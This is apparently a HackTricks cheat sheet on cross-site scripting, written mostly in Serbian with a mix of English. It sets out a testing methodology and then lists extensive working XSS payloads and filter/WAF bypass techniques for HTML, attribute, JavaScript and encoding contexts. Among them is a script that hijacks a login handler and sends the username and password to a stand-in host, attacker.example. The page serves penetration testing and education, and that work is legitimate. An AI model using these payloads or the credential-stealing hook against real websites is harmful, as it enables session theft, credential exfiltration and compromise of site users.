XSS (Cross Site Scripting)

Reading time: 55 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Metodologija

  1. Proverite da li se bilo koja vrednost kojom upravljate (parameters, path, headers?, cookies?) reflektuje u HTML-u ili koristi od strane JS koda.
  2. Pronađite kontekst u kome se to reflektuje/koristi.
  3. Ako je reflektovano
  4. Proverite koje simbole možete koristiti i u zavisnosti od toga pripremite payload:
  5. U raw HTML:
  6. Možete li kreirati nove HTML tagove?
  7. Možete li koristiti event-e ili atribute koji podržavaju javascript: protokol?
  8. Možete li zaobići zaštite?
  9. Da li HTML sadržaj tumači neki client side JS engine (AngularJS, VueJS, Mavo...), tada možete iskoristiti Client Side Template Injection.
  10. Ako ne možete kreirati HTML tagove koji izvršavaju JS kod, možete li iskoristiti Dangling Markup - HTML scriptless injection?
  11. Unutar HTML taga:
  12. Možete li izaći u raw HTML kontekst?
  13. Možete li kreirati nove event-e/atribute za izvršavanje JS koda?
  14. Da li atribut u kojem ste "zarobljeni" podržava izvršavanje JS-a?
  15. Možete li zaobići zaštite?
  16. Unutar JavaScript koda:
  17. Možete li izaći iz <script> taga?
  18. Možete li prekinuti string i izvršiti drugi JS kod?
  19. Da li je vaš input u template literals ``?
  20. Možete li zaobići zaštite?
  21. Javascript funkcija koja se izvršava
  22. Možete navesti ime funkcije koja će se izvršiti. npr.: ?callback=alert(1)
  23. Ako se koristi:
  24. Možete iskoristiti DOM XSS, obratite pažnju kako je vaš input kontrolisan i da li se vaš kontrolisani input koristi od strane nekog sink-a.

Kada radite na kompleksnom XSS-u, može vam biti korisno znati o:

Debugging Client Side JS

Reflektovane vrednosti

Da biste uspešno iskoristili XSS, prvo morate pronaći vrednost kojom upravljate koja se reflektuje na web stranici.

  • Intermediately reflected: Ako otkrijete da se vrednost parametra ili čak putanja reflektuje na web stranici, možete iskoristiti Reflected XSS.
  • Stored and reflected: Ako nađete vrednost kojom upravljate koja se čuva na serveru i reflektuje svaki put kada pristupite stranici, možete iskoristiti Stored XSS.
  • Accessed via JS: Ako otkrijete da se vrednost kojom upravljate pristupa preko JS-a, možete iskoristiti DOM XSS.

Konteksti

Kada pokušavate da iskoristite XSS, prvo treba da znate gde se vaš input reflektuje. U zavisnosti od konteksta, bićete u mogućnosti da izvršite proizvoljni JS kod na različite načine.

Raw HTML

Ako se vaš input reflektuje u raw HTML-u stranice, moraćete da iskoristite neki HTML tag da biste izvršili JS kod: <img , <iframe , <svg , <script ... ovo su samo neki od mnogih HTML tagova koje možete koristiti.
Takođe, imajte na umu Client Side Template Injection.

Unutar atributa HTML taga

Ako se vaš input reflektuje unutar vrednosti atributa taga, možete pokušati:

  1. Da pobegnete iz atributa i iz taga (tada ćete biti u raw HTML-u) i kreirate novi HTML tag za zloupotrebu: "><img [...]
  2. Ako možete pobjeći iz atributa ali ne i iz taga (> je enkodiran ili obrisan), u zavisnosti od taga možete napraviti event koji izvršava JS kod: " autofocus onfocus=alert(1) x="
  3. Ako ne možete pobjeći iz atributa (" je enkodiran ili obrisan), onda u zavisnosti od koji atribut sadrži vaš input i da li kontrolišete celu vrednost ili samo deo bićete u mogućnosti da ga zloupotrebite. Na primer, ako kontrolišete event kao onclick= moći ćete da izvršite proizvoljan kod kada se klikne. Još jedan interesantan primer je atribut href, gde možete koristiti javascript: protokol za izvršavanje proizvoljnog koda: href="javascript:alert(1)"
  4. Ako se vaš input reflektuje unutar "unexpoitable tags" možete probati trik sa accesskey da zloupotrebite ranjivost (biće vam potrebna neka vrsta social engineering-a za eksploataciju): " accesskey="x" onclick="alert(1)" x="

Čudan primer Angular-a koji izvršava XSS ako kontrolišete ime klase:

html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Unutar JavaScript koda

U ovom slučaju vaš unos se reflektuje između <script> [...] </script> tagova HTML stranice, unutar .js fajla ili unutar atributa koji koristi javascript: protokol:

  • Ako se reflektuje između <script> [...] </script> tagova, čak i ako je vaš unos unutar bilo kakvih navodnika, možete pokušati da injektujete </script> i pobegnete iz ovog konteksta. Ovo funkcioniše zato što će browser prvo parsirati HTML tagove i zatim sadržaj, zato neće primetiti da je vaš injektovani </script> tag unutar HTML koda.
  • Ako se reflektuje unutar JS stringa i poslednji trik ne radi biće potrebno da izađete iz stringa, izvršite vaš kod i rekonstrušete JS kod (ako ima bilo kakva greška, neće biti izvršeno:
  • '-alert(1)-'
  • ';-alert(1)//
  • \';alert(1)//
  • Ako se reflektuje unutar template literals možete ugraditi JS izraze koristeći ${ ... } sintaksu: var greetings = `Hello, ${alert(1)}`
  • Unicode encode radi da napišete valid javascript code:
javascript
alert(1)
alert(1)
alert(1)

Javascript Hoisting

Javascript Hoisting odnosi se na mogućnost da declare functions, variables or classes after they are used so you can abuse scenarios where a XSS is using undeclared variables or functions.
Pogledajte sledeću stranicu za više informacija:

JS Hoisting

Javascript Function

Nekoliko web stranica ima endpoints koji accept as parameter the name of the function to execute. Uobičajen primer koji se viđa u prirodi je nešto poput: ?callback=callbackFunc.

Dobar način da utvrdite da li se nešto što korisnik direktno unese pokušava izvršiti je modifying the param value (na primer u 'Vulnerable') i praćenje konzole za greške kao:

Ako je ranjivo, mogli biste biti u mogućnosti da trigger an alert jednostavnim slanjem vrednosti: ?callback=alert(1). Međutim, veoma je često da ovi endpoints validate the content tako da dozvoljavaju samo slova, brojeve, tačke i donje crte ([\w\._]).

Međutim, čak i uz to ograničenje i dalje je moguće izvršiti neke akcije. To je zato što možete koristiti te valid chars da access any element in the DOM:

Some useful functions for this:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

Takođe možete pokušati direktno da pokrenete Javascript funkcije: obj.sales.delOrders.

Međutim, obično su endpoint-i koji izvršavaju navedenu funkciju endpoint-i bez mnogo interesantnog DOM-a, druge stranice u istom originu će imati zanimljiviji DOM za izvođenje više akcija.

Stoga, da biste zloupotrebili ovu ranjivost u drugom DOM-u razvijen je exploit Same Origin Method Execution (SOME):

SOME - Same Origin Method Execution

DOM

Postoji JS code koji na nesiguran način koristi neke podatke koje kontroliše napadač poput location.href. Napadač može to zloupotrebiti za izvršavanje proizvoljnog JS koda.

DOM XSS

Universal XSS

Ovakav tip XSS može se naći bilo gde. Ne zavise samo od eksploatacije klijenta web aplikacije, već od bilo kog konteksta. Ovakvo proizvoljno izvršavanje JavaScript-a može čak biti zloupotrebljeno za dobijanje RCE, za čitati proizvoljne fajlove na klijentima i serverima, i više.
Neki primeri:

Server Side XSS (Dynamic PDF)

Electron Desktop Apps

WAF bypass encoding image

from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

Injecting inside raw HTML

Kada je vaš input reflektovan inside the HTML page ili možete escape-ovati i injektovati HTML kod u tom kontekstu, prva stvar koju treba da uradite je da proverite da li možete iskoristiti < za kreiranje novih tagova: jednostavno pokušajte da reflektujete taj char i proverite da li je HTML encoded ili obrisan, ili je reflektovan bez izmena. Samo u poslednjem slučaju bićete u mogućnosti da iskoristite ovaj slučaj.
Za ove slučajeve takođe imajte na umu Client Side Template Injection.
Napomena: A HTML comment can be closed using****-->****or **--!>****

U ovom slučaju, i ako se ne koristi black/whitelisting, možete koristiti payloads poput:

html
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>

Međutim, ako se koristi black/whitelisting tagova/atributa, moraćete da brute-force which tags možete da kreirate.
Kada ste located which tags are allowed, potrebno je da brute-force attributes/events unutar pronađenih validnih tagova da biste videli kako možete napasti kontekst.

Tags/Events brute-force

Idite na https://portswigger.net/web-security/cross-site-scripting/cheat-sheet i kliknite na Copy tags to clipboard. Zatim pošaljite sve njih koristeći Burp intruder i proverite da li je neki tag ostao neotkriven kao maliciozan od strane WAF-a. Kada otkrijete koje tagove možete koristiti, možete brute force all the events koristeći validne tagove (na istoj web stranici kliknite na Copy events to clipboard i sledite istu proceduru kao ranije).

Custom tags

Ako niste pronašli nijedan validan HTML tag, možete pokušati da create a custom tag i izvršite JS kod sa atributom onfocus. U XSS requestu, potrebno je da završite URL sa # kako biste naterali stranicu da se focus on that object i execute kod:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Blacklist Bypasses

Ako se koristi neka vrsta blacklist, možete pokušati da je bypass-ujete nekim smešnim trikovima:

javascript
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Length bypass (mali XSS-ovi)

[!NOTE] > Više tiny XSS za različita okruženja payload može se pronaći ovde i ovde.

html
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>

Poslednji koristi 2 unicode karaktera koji se prošire na 5: telsr
Više ovih karaktera možete pronaći here.
Da proverite u koje se karaktere dekomponuje, proverite here.

Click XSS - Clickjacking

Ako je za eksploataciju ranjivosti potrebno da korisnik klikne na link ili formu sa unapred popunjenim podacima, možete pokušati da abuse Clickjacking (ako je stranica ranjiva).

Impossible - Dangling Markup

Ako mislite da je nemoguće kreirati HTML tag sa atributom koji izvršava JS kod, trebalo bi da proverite Danglig Markup jer možete exploit ranjivost without izvršavanja JS koda.

Injektovanje unutar HTML taga

Inside the tag/escaping from attribute value

Ako se nalazite inside a HTML tag, prva stvar koju možete pokušati je da escape iz taga i upotrebite neke od tehnika pomenutih u previous section da izvršite JS kod.
Ako cannot escape from the tag, možete kreirati nove atribute unutar taga da pokušate izvršiti JS kod, na primer koristeći neki payload poput (napomena: u ovom primeru double quotes se koriste da se escape-uje iz atributa, neće vam trebati ako je vaš input reflektovan direktno unutar taga):

bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

Događaji stila

python
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

Within the attribute

Čak i ako ne možete da pobegnete iz atributa (" se enkodira ili briše), u zavisnosti od koji atribut u kojem je vaša vrednost reflektovana i da li kontrolišete celu vrednost ili samo njen deo bićete u mogućnosti da to zloupotrebite. Na primer, ako kontrolišete event kao onclick= moći ćete da naterate izvršavanje proizvoljnog koda kada se klikne.
Još jedan zanimljiv primer je atribut href, gde možete koristiti javascript: protokol da izvršite proizvoljan kod: href="javascript:alert(1)"

Bypass inside event using HTML encoding/URL encode

HTML enkodovani karakteri unutar vrednosti atributa HTML tagova se dekodiraju tokom runtime-a. Dakle, nešto poput sledećeg će biti validno (payload je u boldu): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Go Back </a>

Imajte na umu da je bilo koja vrsta HTML enkodiranja validna:

javascript
//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

Imajte na umu da će URL encode takođe raditi:

python
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

Bypass unutar događaja koristeći Unicode enkodiranje

javascript
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

Specijalni protokoli unutar atributa

Tu možete koristiti protokole javascript: ili data: na nekim mestima da biste izvršili proizvoljan JS kod. Neki će zahtevati interakciju korisnika, neki neće.

javascript
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
javascript:alert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

Mesta gde možete injektovati ove protokole

Uopšteno javascript: protokol može biti korišćen u bilo kojem tagu koji prihvata atribut href i u većini tagova koji prihvataju atribut src (ali ne <img> )

html
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

Ostali obfuscation trikovi

U ovom slučaju HTML encoding i Unicode encoding trikovi iz prethodnog odeljka takođe važe jer se nalazite unutar atributa.

javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">

Štaviše, postoji još jedan koristan trik za ove slučajeve: Čak i ako je vaš unos unutar javascript:... URL encoded, on će biti URL decoded pre nego što se izvrši. Dakle, ako treba da escape iz string koristeći single quote i vidite da it's being URL encoded, zapamtite da it doesn't matter, biće interpreted kao single quote tokom execution.

javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

Imajte na umu da ako pokušate da upotrebite oba URLencode + HTMLencode u bilo kom redosledu da enkodujete payload to neće raditi, ali možete ih mešati unutar payload.

Korišćenje Hex i Octal encode sa javascript:

Možete koristiti Hex i Octal encode unutar src atributa iframe (barem) kako biste deklarisali HTML tags to execute JS:

javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Reverse tab nabbing

javascript
<a target="_blank" rel="opener"

Ako možete ubaciti bilo koji URL u proizvoljni <a href= tag koji sadrži atribute target="_blank" and rel="opener", proverite sledeću stranicu da biste iskoristili ovo ponašanje:

Reverse Tab Nabbing

on Event Handlers Bypass

Prvo proverite ovu stranicu (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) za korisne "on" event handlers.
U slučaju da neka blacklist sprečava kreiranje ovih event handlera, možete pokušati sledeće bypass-e:

javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

Prema here sada je moguće zloupotrebiti hidden inputs pomoću:

html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />

I u meta tagovima:

html
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

Iz here: Možete izvršiti XSS payload u skrivenom atributu, pod uslovom da možete nagovoriti žrtvu da pritisne kombinaciju tastera. U Firefoxu na Windows/Linux kombinacija tastera je ALT+SHIFT+X, a na OS X je CTRL+ALT+X. Možete navesti drugu kombinaciju tastera koristeći drugi taster u atributu accesskey. Evo vektora:

html
<input type="hidden" accesskey="X" onclick="alert(1)">

The XSS payload will be something like this: " accesskey="x" onclick="alert(1)" x="

Blacklist Bypasses

Several tricks with using different encoding were exposed already inside this section. Go back to learn where can you use:

  • HTML encoding (HTML tags)
  • Unicode encoding (može biti validan JS kod): \u0061lert(1)
  • URL encoding
  • Hex and Octal encoding
  • data encoding

Bypasses for HTML tags and attributes

Pogledajte Blacklist Bypasses of the previous section.

Bypasses for JavaScript code

Pročitajte JavaScript bypass blacklist of the following section.

CSS-Gadgets

If you found a XSS in a very small part of the web that requires some kind of interaction (maybe a small link in the footer with an onmouseover element), you can try to modify the space that element occupies to maximize the probabilities of have the link fired.

For example, you could add some styling in the element like: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

But, if the WAF is filtering the style attribute, you can use CSS Styling Gadgets, so if you find, for example

.test {display:block; color: blue; width: 100%}

and

#someid {top: 0; font-family: Tahoma;}

Now you can modify our link and bring it to the form

<a href="" id=someid class=test onclick=alert() a="">

This trick was taken from https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703

Injecting inside JavaScript code

In these case you input is going to be reflected inside the JS code of a .js file or between <script>...</script> tags or between HTML events that can execute JS code or between attributes that accepts the javascript: protocol.

Izbegavanje <script> taga

If your code is inserted within <script> [...] var input = 'reflected data' [...] </script> you could easily escape closing the <script> tag:

javascript
</script><img src=1 onerror=alert(document.domain)>

Imajte na umu da u ovom primeru čak nismo ni zatvorili jednostruki navodnik. To je zato što HTML parsing prvo obavlja browser, što uključuje identifikovanje elemenata stranice, uključujući blokove script. Parsiranje JavaScript-a radi razumevanja i izvršavanja ugrađenih skripti obavlja se tek potom.

Unutar JS koda

Ako se <> sanitizuju, i dalje možete escape the string tamo gde je vaš unos located i execute arbitrary JS. Važno je fix JS syntax, jer ako postoje greške, JS kod neće biti izvršen:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

JS-in-JS string break → inject → repair pattern

Kada korisnički unos dospe unutar quoted JavaScript stringa (npr. server-side echo into an inline script), možete prekinuti string, inject code i popraviti sintaksu tako da parsiranje ostane važeće. Generički skelet:

"            // end original string
;            // safely terminate the statement
<INJECTION>  // attacker-controlled JS
; a = "      // repair and resume expected string/statement

Primer obrasca URL-a kada se ranjivi parametar reflektuje u JS string:

?param=test";<INJECTION>;a="

Ovo izvršava attacker JS bez potrebe da se dira HTML kontekst (čisti JS-in-JS). Kombinujte sa blacklist bypasses dole kada filters blokiraju keywords.

Template literals ``

Da biste kreirali strings, pored jednostrukih i dvostrukih navodnika, JS takođe prihvata backticks ``. Ovo je poznato kao template literals jer dozvoljavaju da se embedded JS expressions ugrađuju koristeći ${ ... } sintaksu.
Dakle, ako primetite da se vaš unos reflected unutar JS stringa koji koristi backticks, možete zloupotrebiti sintaksu ${ ... } da izvršite arbitrary JS code:

Ovo se može zloupotrebiti koristeći:

javascript
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
javascript
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``

Enkodirano izvršavanje koda

html
<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">

Dostavljivi payloads sa eval(atob()) i nijanse scope-a

Da biste skratili URL-ove i zaobišli naivne filtere po ključnim rečima, možete base64-enkodovati svoju stvarnu logiku i izvršiti je sa eval(atob('...')). Ako jednostavno filtriranje po ključnim rečima blokira identifikatore kao što su alert, eval ili atob, koristite Unicode-escape-ovane identifikatore koji se kompajliraju identično u pregledaču, ali zaobilaze filtere koji se zasnivaju na podudaranju stringova:

\u0061\u006C\u0065\u0072\u0074(1)                      // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64'))  // eval(atob('...'))

Važna nijansa opsega: const/let deklarisani unutar eval() su blok-ograničeni i NE stvaraju globalne promenljive; neće biti dostupni kasnijim skriptama. Koristite dinamički ubačen <script> element da definišete globalne, non-rebindable hook-ove kada je potrebno (npr. da hijack-ujete form handler):

javascript
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);

Referenca: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval

Unicode enkodiranje za JS izvršavanje

javascript
alert(1)
alert(1)
alert(1)

JavaScript bypass blacklists tehnike

Strings

javascript
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

Specijalni escapes

javascript
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself

Zamene razmaka unutar JS koda

javascript
<TAB>
/**/

JavaScript comments (iz JavaScript Comments trik)

javascript
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

JavaScript nove linije (iz JavaScript new line trik)

javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9

JavaScript beli razmaci

javascript
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

Javascript u komentaru

javascript
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

JavaScript bez zagrada

javascript
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

Poziv proizvoljne funkcije (alert)

javascript
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
